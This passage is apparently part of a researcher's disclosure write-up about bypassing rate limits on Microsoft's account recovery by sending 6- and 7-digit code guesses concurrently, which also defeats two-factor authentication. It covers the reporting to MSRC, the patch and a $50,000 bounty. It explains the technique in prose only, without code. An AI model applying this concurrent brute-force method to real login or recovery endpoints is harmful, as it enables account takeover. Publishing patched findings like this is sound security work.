My initial test showed the presence of rate limits as expected. Out of 1000 codes sent, only 122 of them got through, others are limited with 1211 error code and they are blocking the respective user account from sending further attempts if we continuously send requests.

Then, I tried sending simultaneous / concurrent requests like I did for Instagram, that allowed me to send large number of requests without getting blocked but I was still unable to get the successful response while injecting the correct 7 digit security code. I thought they have some controls in place to prevent this type of attack. Although I am getting an error while sending the right code, there was still no evidence of blocking the user like we saw in the initial test. So I was still hoping that there would be something.

After some days, I realized that they are blacklisting the IP address if all the requests we send don’t hit the server at the same time, even a few milliseconds delay between the requests allowed the server to detect the attack and block it. Then I tweaked my code to handle this scenario and tested it again.

Surprisingly, it worked and I was able to get the successful response this time 😀

I sent around 1000 seven digit codes including the right one and was able to get the next step to change the password.

The above process is valid only for those who do not have two factor authentication enabled, if a user has enabled 2FA, we will have to bypass two factor code authentication as well, to change the password.

I tested an account with 2FA and found both are same endpoint that are vulnerable to this type of attack. At first, user will be prompted to enter a 6 digit code generated by authenticator app, only then they will be asked to enter 7 digit code sent to their email or phone number. Then, they can change the password.

Putting all together, an attacker has to send all the possibilities of 6 and 7 digit security codes that would be around 11 million request attempts and it has to be sent concurrently to change the password of any Microsoft account (including those with 2FA enabled).

It is not at all a easy process to send such large number of concurrent requests, that would require a lot of computing resources as well as 1000s of IP address to complete the attack successfully.

Immediately, I recorded a video of all the bypasses and submitted it to Microsoft along with detailed steps to reproduce the vulnerability. They were quick in acknowledging the issue.

The issue was patched in November 2020 and my case was assigned to different security impact than the one expected. I asked them to reconsider the security impact explaining my attack. After a few back and forth emails, my case was assigned to Elevation of Privilege (Involving Multi-factor Authentication Bypass). Due to the complexity of the attack, bug severity was assigned as important instead of critical.

Bount email from MSRC

Microsoft Acknowledgement for Reporting this issue

I received the bounty of $50,000 USD on Feb 9th, 2021 through hackerone and got approval to publish this article on March 1st. I would like to thank Dan, Jarek and the entire MSRC Team for patiently listening to all my comments, providing updates and patching the issue. I also like to thank Microsoft for the bounty 🙏 😊